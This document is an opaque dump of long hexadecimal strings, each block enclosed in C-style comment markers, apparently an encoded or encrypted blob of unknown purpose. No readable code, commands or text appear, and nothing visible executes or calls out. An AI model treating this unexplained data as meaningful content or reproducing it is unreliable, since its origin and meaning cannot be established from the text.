44c65a21c3da4f95cd5476dee8a85403bbe0b1131bc0542700f9f69671803eab6fb656026be4e4a591a931baa8bab5dd862179c4fe48cf8e6706db791732089e6abbe2ea29fb47269d7d3e7d55d7d78bbc12bf8c0791a9b8984b997a6d8d7bddf4832a9620cfb045d72c1e008b4dd175afb7e1835f42645ca241532077c227771927f0cc0ece2f50aceebfec17cc0700be3fbcd5ecca0dddcdbe22c9746e37c18cdb39952aa9a4c3f494d08450099e5ab3bd1735d44456b15978e6a5ac53d8faed083e4b55a541b336c1ff7c5a5ea6fbb44221b54f495c6175f5ce1cf797f35e4b7c5980196e23d8a1dc09bbdb000cfe90261a62bc02cbe15b5ee200e899b59c1e5506a3df0218f4f92c98451b178515e478d15a0c4d2b7204657e8a0ae19f53a0104cf5718a72f66c6357f52c11873e61330aad1e24903f931c72bd185dff2387e97c9cce6c7800e15e57060cec7fea007a8414655429932b79eda9d405ba7398eeb290601173be30633c4d92c9d736245f3f2fc6c88c0472caf17e1404ee25547bde5fa07df9d7a10d3b116294408f79e56eb699234aeffea829b8c8fa2739cebc3625908f7e71712eab9a64cb67ae224a351b4462d18fc68930d8d04c24fba80fafdb32d623c1287841175afc75d499d739adc595709bd48e229716a7168716a93993592f2eefb1348275d3067e88d4ebc45e10cc3161459aadee561b851cbb030b806c7ea7a764a379530df4daa81e208af56bea2d73170bb820703230026f77ad14fcd34cf8882f50dc739784590986f657920acce55f4f5e6bdf5465309e510ff35ceba28d243ab001ed6ead02a11b9524a3587152ee02bffc298dc2ce2cf3bde75bbfa8a3697805f3329df5ad6ce5105422dd8811e920afe3db824648c8fd8fcf04102ba2931cd81cf8b782f399fa17627967e5a94d3e07f28783ea06e6d9065dae18aa24eb36204235e22579d45cde379c9f15d69d4619d414e2cc85b7f1271e207192dccddeaee9b0d099eecb24ee5505f4103a93cd93f83ae1678bd962323663384ed315e40997e9143cba2c2e544430e8b6c2a8c7638191caad9bd038ec180b5ed8ca5056263341d5e38a0ecde78fd3b50ad4b6db688dc7bb665fafda71946f1d8988ed49494a9ba8e4b2592250d444d8f91b0d0743192c411a23b7fcfa68df1494f06ec8fdf97772d0476d91603a904d6518404172fa891e82f06ecedebd066acd75eff789e3a102879483d4655fce902fa59eecf0a615ed82d2bf3c78f734ceb4a8428879ff243aba0043309f9c6c4499a99a481c0c7d90ffb6010e00671a7192ffb13d7b12468890c3420c28af7c296a4c978aa323838290a780784f0dc0f13c43f75518802762fcc56534866134cc2e496a093c578161b5da71933cdaf867e6ede635c26f1df2fef7e21f6e6a4f03b01f6be275e705412e08703dbcd6afedbd91c6c00cb284cba570e88f9f2aadd6e91b24a1ad4f305d9f682d9dc0a9c00934a88646f0f4*/
/*b1d3d53f48ab15999c081dacc86545c77566bace798ca7b34b14577cb3d534128d0be82396c9b1d820bf9c75ff02acf84128c1934d3a481cd08e92d0bcc8f6ceec0c9c892e5cb125ddec64b22f0e28fcbe8db4f623d5886e9a7467d300385c7ea42c5b287657812a775df09abe9497a31be225a7108fc6af52cae86eec23f99e127f7df41d55f2f3b20c8aea367066a9376a02ef0d3fb90726cb074fea61264757f291e76d48ed78eb92593a346c45f43c5b8b6a8f8d3f21f667b97954feb744476353c896911ba4a49e08401e33822ab8c5b6ba47b924fb0f5f4d2a3f43184cb9c0e9dd7a988eed95ca4c128ec12443621a2eea36a83df0091f982038a3bbc86a8224b8f00a94ca3fa155b3d29a1c758505d0f491f4fb301732d22c66af065bc4fef9d7354e0768e2c0e4d0fcdc2bbf06069a019ff7de5ba16dbc3053fec8c5dc25cbc9aaf03e27b7558ec486cbf8212031214bf3ac47a43f52da3dc7f34b2d68de2bf0a56c8cd23e8970e4ee51d6cbe0ff4e11ab97c5144f3ab2d6eecbb8dc2bed692d5ac6c55a0c8b0516a6400fa02f3503b0df9960c52eb563410611abee15b173a8545d9a36d6a00039fc9b9a357c3fbd6358afbf5c5f334f14c8810ee226403242b137c7e8818de961bd065bedd0e209f2b22e1e4b275178cc4ef346c94243eb4a038560d498802947bf967b8e22f977b9981b6d0d26b9d51f802888504a3c21504031e56f1f07a7719516b7f73ed1bb75ad4cb1d609052f6cea7b66ada8a72d92f054246f014a1b1acd92e37cbe2749df61cdbf42572d6ac8a4372d952a31f633e9bff17fb18814559be5ba01f572451fd28e8eae83f53cb56dcf66810b3d19480411874956202c99ac59b8f28308ce6b359b54e6eab2c6a27de2b200afc405cb796ba7cd77427015b45ae679d939bcdfc37bb0f6ae3217d87bb52f67169e123c1c34eaf76dd4e3d77654d38751ae9c9ae4151688a85617b1d6a5f37fe6a1e365514a4097ecdf27bb57247a04d9e5a14ad2244802ffd4b9039b66d661225391b307236bdf5ec792848cd4ebc4f421adcb42585e6ccab5f2060d1f8e02abb4e34e1cb4155bb1cd1c88d49c62e5459239c93d39343901678f3db24d9ce120785bf3565a6352a16feb4f62b877c4f2c8c7eaef6c58737114e306b077c7ce5dac3dbd0afddb46b49ce13513d6a34c70f5d0570569da735dede5467fdd726e5490ffe91ad1dde649a50d989601f9523088b6c563893ebd0ab40e9d16d4efbac99dc536fd822c05795a02fff14eaa1dfdbb043462b2dec620b6a7867826c07c9d73b0dce22d421c5226d9049c6b9c16461e6846bb8721788b9bdda9cf15201fc12a01a7cc8323e0130d631d2f7a84e7e3db616c594a8cbacb4e8093a22a832dcbfc41cf0f05d47fb3a5567c5ee9792d13bba0bae604d4cdcbeb28a3bcf98593a4495e481a819832d14a09e14ac3cc93558ad3b11500d5875b6fcb6a686a3d12615dacf0f626b7a35b384123bdf5ec9aa871b8375bbfe8e3c07a9442f7978fd6b7fe71d17c7477c5358fd4c73e34d93a85eea59be06116f11d718888c4cd639b3ec890e5c9c2da267656e67d7f40b9a1c7e4f6e7ed72888e34d3baf3a9ef8fe824faa37c6060332cb9cc65c2dade33f3a4e955a7d33f437ba6dd84ce3ce45febba5e723a12adca18a7b813783e7d88c0054d9eb2a5eb1024b105784b83e56374c3f7f6389501be50c50e26efee7bd78c78e0db18ef09bf3cd8a7d4d03bdbd482d0203ffd5ada554dee8896d96bccf2aa5526009c1350e86086e1d44d405d72d9bb93cd5e0569572a3bc5d52d10a7c116ded51cc0614175cf95777e5c0b5ddc9517abbf71929b439bfeafa323a75ca84105bf9ba6bf5adf16dcd3a02dbd06935173fc8b291e182a700177ccbbf7d08196049f78579c2ccda49139c2e98988e629c8ad8c719a8ea33a02f3cd376baae0705a8aa97b82a9f06eae49220997c05271b2e11f23a41eb4828bd619188addcc83fc6605d2db7b6ab23b1f30d07695564f16893b7bee6e610a5284cb164b388924e88bcb98754854354de7b6513a42b04e4f0954f1d342baa0246f4f84cb148f6dc5f0ba55c4989a6114443872648f61726093943b317d52bb12628c18e52acf3b9d6ef4ec6adc3d3c88fd90c281b1ecb85a5f878b163486a7107073a73ecfe2b9fd5a5b36afd1b39dfa503cbd486b82b3e30c6d3a8697bb4da74e3cbae1507d7dba7da574180fb4465fc3636eb5d0dba38666e56fa2a025a9a444e787dabadc85d6d09719d2498f62b6f2210f324116f19d2dae6c14da97ca8242f9e3db0edc46ae52a68242bdec6bc591e9fca527f405837c36ae1885373412a692b82ca6605ce2de25cde02b75d049914342190577da34fbdfe9282f2d51b1d11a67e967e86c5fa4e4548a10772fd268b29bb169133f5ee33dfc96e05a52c96d0d95a79b4d47b5c7d7b0f50e5c830dd60f5fa23fe97d407892c9b93d2866291db010cd676abf1debd08ca1bdb675603f45555c60c21dd79d12dde90dcc2fed8185b34b8a248f0f90ce6a759f96127f24b3978193fa57a788593f433676d1ef4f76c074314ad406d7ebc799330088e025f9e125bade82e7ff8206180dbe6c25f47f0481cc59752ff0e0104b241d813da23daf832b8f695b4ae59be857653e29cd134f847e198c1abaa2e5409bd95ebaade6404e9b49b674a23ce1fd8419802ed9d7d2bb029a1dc8c45f67c0076674081048f16bbb2c00de9dcd1849ae597e0441d49c26e5e9afa5a2f45f467b82dd0590ab71ec26bcc622c99a78f494b0d778e21bfecde04a3c*/
/*8ce11346c273a8b29c79b44a218e194779c1053a4270dc9a5a7a5a7927daee61e5e48fce13d129c375e9c071736104c83866475288975168df0121d7f15db29dcd192cbd61a8fccdd535427e4deea878adfb3369035366f9cbdac0e0edaef4edb3b0f26d94ea9c784b31703ef7dfeba1ca43be295115d17fc52d9112da1d64b3fc321ea2a776106d7557ae6513ae3914a41a5012182e6798c443d3aed4efa840c6620818561f7f3316d189878b0f52822c7058aad2a2b5d8f819c4c6915d386517f531a70c3e48f788537084f9f7ead86324d21a790b44469a14089b2cfe2afa98acdc1aaf9dd84658e56f7c0a378ae8bfd72d81105bc3ae54c3363d7c44e9898c345524c626709b13a413e36489733c3b7559d57c8d0321df12d2b60dc4f5b3c25735bfd332c161644b49c2a906ec1309092234e8ea9a096bb94f9a8ce55a23dd528f83f5854a78729cd41b8f7bec16fe4b317dc5f474df26e0bf5cfe06845cf2cd54f1a8f6ec6ad4af62f5dde4e1711675a35f7c0c56a71ad257a3e1f4f993f59ac2809a8c0b07217b58f81b39f0018a010b8086edfaa2158dff717aa32d46f70f3cdce013cca483411575454d6c2d790f0b027a0d3a82c578e07d2bb987866a3c0a2c3164a8dca6f10dc59968bd9329cbd65d7371e32c02986a5e2ddb99bfc8277933e5822f4c33d8bbfac751f6ad8affd3534c937a1c4415c1763555b7578ac23be5975c1309ab1eccf7dce01f045c54c48426c95b69fb2e3f57586a5584c17e3f9dde8b9a754589dd707004c96fe76520fd041618b9e01ee9733b59393a7e6542f0568e4e1f9fd8a4c19d86c8f8cd7afdd390d8c67cf2040ee983b88e038e75fdd916511e9818b4d8e7dac7fd599d25c24d377332bbb2ec237e95f5dbe0c5af66a869719bd07072bafc8d6ce7863bacbc656a810e0daa4d40b3ee7dfba31a5378e33a285ae34efcf4c0793cb4c6bb269ce056b4f35996c64847896696649ccfaf0c905a5c62e5533b37f6cd36b2b9331c398483aafa84f4e5a17ed9a70978ddd750c2b32064fbd358ef5898e4440024af845dc0d8d9d20cd045848368184e70e5e84bc358e3f136cbbb6d52ac149dc38d98ab1c492fdd3c9b2154d8fbe23a41b2e03e6476ba9a92e27932a70a2a5afe0224c41526daf7d597d94a74e075ee2d50cf8223f55dabeb424a1d99c672971f2cbf2ee3dd20c5acfb90ee006f33651ffcfb124e55bd863715010263da85299d90004bfae9f24899e7ab738e0525acf7b03a5d55b307edd76a75092c0937354404144d82dd803eb4e151bf66ec6b1b76cb105188f61e4fe89072dc17e766c2d9c76643e27c6655c988438489c4d2ddfcba53c6765fd838e81fe2fa9ed235415f9a080c68d29897a83c4636d700c0e42e368ae16117906ff4364c26dafb100d5fef5ae841c087c24f20eb4772e359a231fa6a59a81ba317e947304020836236957c30ec38790f2e044ec9e11610f5b967a989297e09e56f218b68807c1292225f45836dc22ed9df5e581adbb4d89ce02a18e8afa87f92fdf50217da0c19922027bf96befda1fb93914c520a33372a51d82d1e3dbbbcc3ef8d56cbaf349d33e607eb7e306eaae7c06f0cef63e4b6618fa7a6e580ea360d9e5160a587b094b723182e440665e132a36ed2c3b30411cc773377554ef23e0a136edd6bb2868f375bfe4af7c649716f4341acc144782407201cc62750a05e50f57f7878a38302327bd4015269a20f99427e26e7c686d199e301bcdd413a0a751cc2f3c58c5ca21214ea3bf7fb35a8c7ed916fcfb8855a30fbe2d34c08a0b875ac3cc36f8bcc6d888cd6799b1e945f1bb874c711a8511be95b6570421092dac4705348c405b07aa06996fcf836adb317237c5675eb4077963c71283c402b5a5bcd797ee68b3ec9c540e25a539151069095dbebbde5bffb75e572b991beb4c8d878d190b5a295c24644a82a607954613c905b84f9d8f9c45f55c5d3f43a1231dee5ecc2e553c70462db1074a837ce3f8ac3ebeeac28a9e173b3bb7f5dd498a885efc3129159baa6d43904845b9009b1b939f4e9cc6c2b3f0739f19f0db4822134f26bacce878edd28270978c890b640e1897f2c9a769dbaf0229ab63dfa7c54fb0fddf45105eb72de44b043745ac4fbd3c86902248a377ad835238d3c1feb61f32093284940eb2fa4d09bc9d512d08c4c4dfacbdaad079653ecf9265e2b8a6d94990d1ccc50ede71690572494c81fd4323ea06bc5e88ef7c64a66877873bab0c59344d168f8adfbcfb118753af508f2a9d4a22169e68539c9f92b808aedf456c4e7656e35e29f16e9202afdb01e98d2a90186ec45f171d5315e4aa77056933653ec5cd7bacfc161dd16e73f70535fe42e1d5f54a5258feae8cf53fe39b86dd2f35d6edb92dd2816d6661c2c241a9d0f87618e8ffb9c13a9f210eb939f57a274b44179df13d2fbef7759e6a420bec02a6c427778a64d2bf00d922f3f257e90b04e704d4600dc6dade8252fd5fdbea2d61b3d2a317ac0a368a950cae841863aa43d0b679b48f4abbe8b85c201a7f3e0b12ab63af6a0273116294dc5d2a3cddc1f353b5ffae61449708ea9ce9f87c5c53cc6976e4c80cefe3c93a3578f8c2b32f634abd3ba8c14b9c61956b6353445f4be5f906ff6f9ae30473b8741bc7d679c3447147a0968737de380fee488617843c7dc9c0f9794818d4ec0cde48045ea79153c532e5f68669e7b21ffa12428273bb924e1fb4896dc0de703d46a0a116eb0bf73c3df46766d7cae7859dd43808d32b358596cf9bccdfd0bfdb93b167eb89ecb42588675bc5a4e1348*/
/*ac553608df6ee7071fa03d9e44c982829700191a75f0d077565949a63bc667a2af07f33711322560dc0b526fed6073e1f9eb4943796b14ab16623cd4326bdbac3d2996bc59f0a701e2917a24b13fc13f0248ba9dc890354d29f965410bbc496d89adeb08fc8c456939459684d30efb290d8a0ddc660e5fe68d83cb6a4aba7a3c24d1bbf0ab0705ff3271682b1709777c25fb6309f28788f6ee8b9ac39abd6fc034707691ae63ad982958edfe2f09dd884e73a0d522fa58cfb24913cc17289b8d12c3fd3771fb7e14fa7a57bf884439d4d2cc509b262d0572d39ed740f04e93d8e769353dfd76df2513440d2e8707b642907dab2d9305cb3ebf816c348e293c737abf06c3c439f70fc3d4a356a25d09be8a1a9aa9bfb51316a583584101562908d622d62718cbfd24f67b8ea1a19382b8d049ceb798e60bcba19269b7fafa9e7940b1065ac77a729e9d4f029147ddde0ebc882b44236a13bcc4f96cb381acf8408f3381b525e5f1ae40fbc30c254970d5c781dd58e4a49bd11523b6621ff351d99d8f2a455b7240b896cc91241f494a0339d37f0c605f2c5bb77178b6f49c90bca10bc0414d8f1458aa25f60b2f706c7244b4e552d983095285a73400ab0a432f6e271f5bc005bd00849bda1bdab8fe93af1f0dd4d8f030feb8d5c66c422e05d9aa25a634d453a39ef913d705417e935d8bc0ae7b751a6207a1dd168cbbf31a17a7728d61d349b02240b9e2f90dc8846d87901c3906a1367a80dfafb137fec0e3bf3cd8207a43f4f7784e1bb9a5fd305b2aff948a6043ff7e84f6121c58341e6cfe0c59ed1abf1eac017e753dc087e797c70e91dd19d4de5ddbb5ea1a76fec9a804ae6fb067de662612f58d152713f03486f524529e9fa6f5af441e28447c33de4226fab2ea6d5770e101a062134fbf82d96535bfc374c02133c151b90d474107f45d1429c55a5b6a55019b5c9ee133965d1197a11618b494af4f12d0e7092b07c29354a58083c769469e77ee65769de47ea72ebeced1c6b23d112dfaac2151193d56abddea0df2d04e6c2eb2dcd18a990c7e37a540cf7ff8ff1a4d85f808a05e2472dec5fa1f175ddd48536bb2e51947d9baf8e6082cd5e8b4c7ae8bd3904e3d595344ae1534e78b48dbd5ecb73fc465e579f6e2807228f9ce993403b605d046efed22b81ea0836bd732fae23dd5885d29a591a53c397d5745a5ea821ef69c698dfd6f3363ba005c4fda224b94fb880083b1a2f0db7e53a8d834411a5e226351959c99ad0394cd689c44d71e2c8e3ddd2cef45feff45468dc98b923ad6c0d522880f405da0a9733a4b3e1b6cfcdc3dea250947ec53a79bfc2250e8e25137a8a01853ef2a59f9395e4bc8e4d48cf49462ff282dac508f5524216a6a10ff794942209d7356ae94fb553998a90f977a456881e64024be796412577952da43e0ce1408eefda25d7c87713cedfffe1f75751f793ea1da98a055be8ab32e6c0f900514ea622c79df1ae57bd80a4196d7cf2535ef84ff0f03cb0d912892ee52acb557660b694ee9e609e5a4d5bb5f33ab19a1e9faac64857e8f6cae11f62f93b44c8c24fe73322f34682eadbb8ae141a26332d90eed5a95e137243e679b56e52a268736a1087795e348dd168b62fc1d5fdfb03a8543f4951da8cb08b9acba7a5847a72288c8544db83a2989b826c4a619501f0cbbdc4b0ec90c3519c180736d93ca20204862e547fb7ecaf58a02031622aa9e0d72107c10b96fef2a386e2caab721803801f990221050604251ee7b2b99527909b9b2b75bf43f4d7f4a7c2c68c4a80f031acfd8414d4933371139f1a2a3d3c100c6785f1d3242248d073232d0b3e00fb4321580005f1ddbd29f316238c4ec5266f0cf230fd010ca1c5d5a2e97e53e171a5af5a9e6984bfc8482c734271d8e59da1ee3f7023af5c7052344becf3033b0cf315fc99481319641df0dee453c302cc1e863dc753e52d73806b3e9ea105ad0d61840e6f259353eedd1e2b4760893e2a6288251357f69d18b56b60251e73302b06640f520770a2f0a26cc6bcc8bbb8baa8749a24910d9cfa469c2b566a54d0deb2c24bf73e270e99c98952662a242ac599857b95a5b1e61ea667f5de5e4d56195c64692745d440028afff534e73ba0eade697a148dc5f4baa0ce68420fc0fd6fc3605610596e0514094a8a18571d7a312f89f10e628ff0cdd88dcdaf19997d02463288bc25ea03d84d08e19991bda0dbb120f0f36c6b41ba09a7bdc428157d205a41d31325d8d7606420a552390d03836a40d4045f85f79766a60cb48f7cf87f943c24620621196e18e3ab63d67eba53d655750526aba24bfcd8141f60b5d6fae40733d8271b38f62dad632728d652d81778df4a3782f17a8ab24bc86853c3fd86b4627d3d795e3a83fb776e42484f4abc74efa7cb6600d04bf1e88b0f54bab63eb48a7e82ae806eaf6ffbdc794304bb60ddb1e61d670dacb4e6e5ae166f4b2ab3bd3405c5a7c566c1709740e3234a74d49ad76ba08b2dbc057f7016edcb7b0544a3d62601596a5d2cc9119023b667dd499ea88dd27eaea7820a1050defa3120851411c24593bda9aa4bb696bc56a5a5b23c1fa0c83cd3c1ae5a069d899e81e9181467e831893c06a6b6f68414a27733157df463521e4a686a7c16dc0e461733cbcf8d034657ed9fbac9ed768f42d367bb66be7e53a19e66018e9a7949bfcfae98b1f4bd9fda1cb7b518f9f78d613bb2dc22c58c040486a67280c5cb8e260eadf09ae46afafc0b8c372d391fd6827c6ef0f5b6e046b89314d6ee34210cb1c5e4d7889af971c66e1716a1705bbd52a61a9*/
/*4898cb62b978321d4e7892352c23ee7c308d5bba99bd0e0e871c9b206ad89d745e7da680d51df7435bd17f833382492404b5d069584d702ebd4869ad3c4b848f828146e6326f997608f9ea408ccd58f2162b358750cac8bfcb02e92aa2cebe6089e4991b3e949a410223ccb44e567857aa953de9ece6feb8ea64bec43be339f689a1a76ddc40d485ee69bad37e728d13cdc795c9ae6a55423975bde019e171b5ba4653ed0d3724aa1fbecffabeddf9cee1dd9976c0f64fed1a85e9eb20407b43a66ff66ef411cd474fa95d733545cceb07d2007c17b5ece698dea7c1b4874b8d6c23e96b89ce2762d5f72b9e0f8d74211452467d582a3aaaa9686e1a6bdc03179218ea15dcc84e9de86fca7970ee3b47b44550025f52e5c1c43069d6083d261098b335c16abfe0acb3ea6c09418a91fe506f48d91fa60238c203be23799e0f2fe37d56f54aee6fc4beb33bdf2bb132eb7b9fcde57cc4fbb5e51cd662a56929df728cb5f9ba2709a24c773f3680b23e8822a72c132aba21a2b1966569d07e2d29f541f9b1b898a84ce76d593dd6c1d28c797c8ee86f88bf8e0b3bc8cc5a1f9080445b1543928dc9268730b7fc7714aba497a9111a2c5ef366c82d943ab151aa3646f47d185b30e1ca7df4cdecd75b37e04ba5e0323058032758c48257e3ceb94b4db50c482d1135ed9b6fcfd01c4ee2f46bb0842e2f29cc31ccc93a3f16865e15f2329b43ff0e2b6267f265337622e55f08f2b8a64cdeccc6c6a8f50228ffd378a347dd39f3d17918af89fccf959b71f24b752e598253bdcbbd86127ca729a4e6058abeebc6673c3d3eff0cf98995ec624b2db97cc990048674efde895bb3ba209b253bd0098a064b28c51353810b9f9ad107ea6baafd959700c36c69d8b039b412a0a641b85987f2b69f1fdfeabe59adae7ac822f86f55e9e6670b86df26f38efe51d2e3cba01ad99384719ab602d5dce8d7e84b91edaeac23b63395e4517492cfb9156a5ef0f29c43171a32e5c8ae0d7d1ed8e0d0ae4b23f80e00d7a411af06df28248a6863b5ad9c3092306de6e488d3b07099807279f6011749510dca8fdeed6524645e97ebf3a9015fbbdebd3c4dbdaa7dd5cba9178d527ec479906bdf975cce06b043474c9393fe6c5cf7a2c954af7d9719120cd9546bd0f94bdc1b3636989c965b18f241b1e2e3a219e4bbb2d0c467c62c5b110c7eabf220afb06876207d65bc8205ffa0ee96258c2361922f8ff592a5867d8a0d34ce6736494edbb338dd1621f986e97a5e0c2d315f08cd57aff8316dcc0cc7538a10244fcf0bf9a869d60593bd9bf679de4d8a4c9548af2d844c96920999fc32e79559c15f2c6ffbf9383cb9ba41e2b87a1301d2bfec7e155632a9d2e2c8b58475a2d9c27a920db050ff297bdb85bc0f1cbb12fc9326164216d77cfecb7f7dd5573c5cb43894f3518d34488ad411679f525519d5c96a8128f928e5a0a12abbd4f239c55dc90d7279b39f7787e07631512683a6b79a2cd8b04a52a5e471be2291578a589643f425fea02e556012a17d14ccd7e968813605122b887a4f974283203bcebcf5ecf625bdfa0f0abcea61988997fa72e75f6030925e2807683ec74d7687fd41f4bb411f6aad2481408c902161cb8c3ebfcb766d0606f46f0f463066158f1853ad90c82b9d64732f1360395ac4619064e5b3d3e43edbb6729f691df09c766cdb91fb34a0257c3d76be92f1ec3ac1c2b6b36738d8b3cd6b870145b730401b3908f0c301d1e2ffc437e3697c9e2f12f89b7f90bcd7ae976394cd265f51b1670535fc0fd13f685616771f401b28e183236385f5a0ea4cefb7966c582b2299bab95d09212dc364c5a65368eeeeab981b26a01f38aa9324b524a203ba951eb9f024a12219151705ec32e9c7d6a20dc4cac8447f6746f4f676fa10289fc57656e6df974ec8b2bd69dee7ced510e9ab654730ae45d7bf3926879c58724b4f71095a08001487234b8c71b42fbb79c9d92ca35b4d13fc553004a303a933dd7eff04b270c310978e1c04e4f0ec360716427a38dfa84e1eb4d2431cb9cdc79dd8548966a98f0dacc309484ba6bb6bff4220bb2dcc0cb8acefb60e215153c95cfacf80070ba3cabfe41b80af8648aa8930aed4767c665f0064cfcf7b98ec217c45fd359eb2c28c486e258a6cd85a8e7f5b172d028e44997b14affa37dbdcfd40a85f9f58fffbd4d009b88bea72bd0a61bdf5108beb753016b396bca14a3c3e2d78714c21010359b7af4d09d95fbaefb82e510bd6a2c8456927add5fe72c0cb9297b3723b3796d1b43d105c4874849ed495fca27a8dbc7fba1efb3a3f9a947e3278de6e018d2d96d765ecf90a594e98f3a52542a2338345518de58cc5c1a4d06bce85758eba955370ef4c5bc4541ffd4441dac222a3adb26ddaf669369d4128be2d26bdc06b3b7912362e7792687a443200e1e11968468defa6388967e56492c3fe7b94d525ba648459c67a1669ccf24de9512311fcbf536a784ca998f7e4c19d1f02aeeaec1bb027b8421dbd68fd62ab6c806d15d6c26260cdf775291af45e4368e26d7d3d699dc8755ce923997766b25de0eeecab4c573c9ca3ae6d053a6e7ebb55a355b87ff77cdd07e13f8914f5acb2bd5fbbbb054868756a6392b1235b5f9db59e8b920bcb83d6893ec659ce765739db488d8ece2ebceeb2c442a91cc833ae2c25c56fef9e53b51c214908a5d5dad2c08fc1315885021e118262387f96654fca51589df7df11a9fdab79a64d22d94acf6bad53a2664cd156585e19013814912b44b81afc7bdc7f8e5dd942d10556ba3abc47a5af274db983c0a8*/
/*7fc24ccb603ca40c94e265f1c7ff433edd7e0f6df93b81a0fdad1617bcf54a998089a169c579cc54775fc3f1471ad57bd91de99351884d39ea3ac1abe678d5fbac8b767f410d1f99cb2f1af533cbb47fefc152e9c57b5ae981729bf22fdfedbd8e5d3fc76ff4d683c7d02e484758a5c33b9baf95d4ab3df89972bfc804948ceecccb7b5ccf8a977fccef38ec2b9af474afbed6226ed19882193e1f51a916ab31d104c195d87877a9fe33d1f686a356f916e3c711580e2fae1ae24949cb4c31d52e75c58e424a407520c57c71b025921b1feb7c35b564bff5643e61ca89baf66ad9241f38bbd6ab4a963ef1c15e5bc2a707f5c05b5d4d5f70f011dbea170fb0f5e23cd1c9764d2a0c04bfea34fcf3a74a70c316f9e49afa118bfbc667c5a4e38f8e4e1be86cde6d0af5b593e1f9fe78e76cb802947daa13212e4c20c69c13cd3e5db0f9c8a88037f31d1a83bee6d464ec401fb1e90aa83a345b5b5c63d9f7ebeb87c23200d748fcbf084cce0a83f5eb9ef0aa3d59c48949fece77fa7915d9fb83d87e548ad1b419c0b57479c6c51b7fda33456be80f476294c2fad83f55b498f230ac306d1fe70f2522255937d8c1d834a696d2deeb580f07adb7a57f2c8381444097ae691decf238ad5de885c3bf43b7174d53f491abdb19bb7e694e54fc5e27440f19af2340ffe24f7e14f8becdc1f6d5a4b3f6c99f7ae71881c20b346d04f82e9c25836d90f3f4773bdd65c108b33691a6e405964bf077ae87928efc4ab79414d3834575305c2f789703d627b54ec3b5f7e06e8f765fa2882dd99d6f3eb8b76fa64358841a7c864def9c125da9e63061d3c0f952100f60a267f2802517a9998d730b6f85b02485f3fc34e0db99f1d7efa34697e95d18476bd75b4484f1f2885c0330b1106530e89eeaf3510dc08bebbedae321f7aa5285865bdd487f309f9baf0f358500caf3030fc3791f61e091a612a2271cbcf3700d31476b11f1e0c5546d14507c6ff48e879e4e88e39948b34878295586346b4fa85737856e2d31588106ab3bf38a492ef5fe85c0c734834817b274b798ee7486d692883d81e3c305d5a91cc8666264c7eeb463feee19981ab8150d8a846723c23fb7131a446eefc102c78e19fd35eff94260fa2407309550055136baa105137de606abf76c07d1560f983d3aa006ae2de40b0e067c74723fbecade499783f01aa400ee3d6aa00d49d10263d45d3e7c9272ceaa322b3b950d8257642f1e9f611d3a9528cd194f484ae93eef07c5413edd1f2a97addec8c8fcd564a8366bace6f415b8d49d5e72700c18651511183f63648c7f8741104f0ec6d5fb75618370ea68a658aaa7f9c8441384a175343d1efa597316eaacb1a061afa86df6dbad9f11e4395a9bf14159ff46ed108107345d7c960a28c115ac6ca8272f69bd814b37d8adb15afb091d4b8201f3107ceef13243a78e0b9fa9790466b6a4f2daa9a8624bae823fbd040f22a5b08140f9303d013acb63c8048be76d7c874dd8c0eba42d71a7a2902e28cb43757ec3a76c60b150ef4e5a0356676a7ba877dfc83cf4793cfc7177d45f4c963b788521776d4ceb477444937577071f3fafc554acf7276ae586b905f07b88412f2e8fee0df3520ebcd4f49316be6aafe4de7f0d4c5e03020bea6bd80d9f746b16943b64c2dd027a965266b407a30d2f417c40eeda6ee933ebf6b3098417963a4582ec6fe74ed018edaa3b22f7115bdb93f17e2700e86bf29894abc56de31df416fe2f4576689844ed5271c203201cd25c574a31f7e46aeaa6a9f4fb524a47d38a99a4027aa1edfa85b726d09b958b28fef3eabdca103a4bdfe86e3418810a85a9ad06a7c2c8faa376f66b3e569fdbf76aa9a22a9b949283edaccea62cc2724e0c72f2b1c10d6ebc848654fb54b97d318790f463ed664dbce854e7c3b6e88bce98ce903e736855ccca170d14bc83c516e70787828541a297fd873bad47336d5a2933d1a5907b51fd3e8a75703950c4f39fb9bfd621afb5430e5101824ece535d0729953117019653e6f7d5a3e98a0724d57d5d983c1daa72af85e91fbfbea99f9a26b9e0eac3dc243a5364375d50b5fe4361e98fe8a5d1fdb36cbcc56b4859e2249ebaabe88d4edd98b7fc6bfce31509d36b9aa013bfae1bd0d5c07d6e9d3ca4520979a59676bec91a7ea65a5ad9a9b01b72db07b1bd0d3e65a69d1fb8c9aefb2e9e9165436852963331cfeaa79b6bd2b9f0c0c09d2e2c74cd09ae3264a88b43b97234c4fd8bbef4bd53d5427fc8857f55cde15b57e52f2c42891fa6d55d0c7e893ccc2cfb6d299167b06e3cdb080fa90efbf56a68b823eff0d2c3456478e237de70424c7c5bd201d06bdbacf2aedc0d4902b3e3c3005ff8fbcf5caca78f1f815b730b9550d6c662059dc2b51be8137f6440ea9b19f5a4f73d32c47ad05e2d21b1adc27e3882ff43890acc7d9e8076fc605a14e1128e26fa154593c022444bbe7d3ef6db5c9a51ed9947e5f4660c987a639ee4112223dc229c5b1da66c77c69b4a272aa75bc09ba7170bcbd92f0a9786c3ef0b690032078fb090757053e72b33e4b0e2c8cb574aa5cd95895300255061616035eaaa505d5b92207f17cf5c30abacddf678901dc9e5ae6e58f26a151ae8ff8670c9880cb6e38c163d0e2d6a2a0363f5cade7a9b7078ffcda76130a83084cae1239b965a6ad8f9f2f0eca47dede0450bfc166ceef64005958971a62db480c64b7ed47b4e6c4d3904e061b81fada8b255f8aed4aba2ac845493ea272d9c6966983cead1fa9d8d9479a03a662c750f710fb564a296765d1d1725d641287b3cb6556eee*/
/*f8e93a7a19c9333100f3848b7968bf9a0c4f76a45f0a8bb77a132e4b44e73c88bc971ed06f71071e5c10f1ae9756e9087f1e66f97e49a1643ec3a2ff5dc7470e58b6c66d368c22d91d9c7bf51fe91fe909eb0f6485f99056f5935a47f1f3f9fa59b65ad12276830d58c25a6d78d7d1702a820ff730eb06163f6c6b24bcdf0b87c8b8db85767f4e5707966e7fbd1c5103cc0446175e3bf1961dfa7bf740bd91c34a65d6868fddcf42b492fff901a53cda0478cfa1092fe345da3d9a3ee918421096c692bf0df8411f2591479a5d28061e8be70cca163d18e3079bbb87c7b3b2bcccd09ba76dfdac2f54e492975b20a50c707f999fbcfc58ef9ed760ccb7079d336d92fecd31e417a0bd50000fd5d3bf63fe18eff6e15cbbb186603e2c811222b16bbec2335cb14160000de94cac711cd3d76c1f4c693dfe6aa6de434f680ec0695fba00a011dfb0a968a2369e9e44cb7a9736e3acb7e8a39965572085c8d8c75d879a592fc50b7f43fcb75f1c7d64318e983937d5fdbd4096b81f397bec71ed003ea9b3865c3dde429c40a0ec5f7dc8c43ff1d6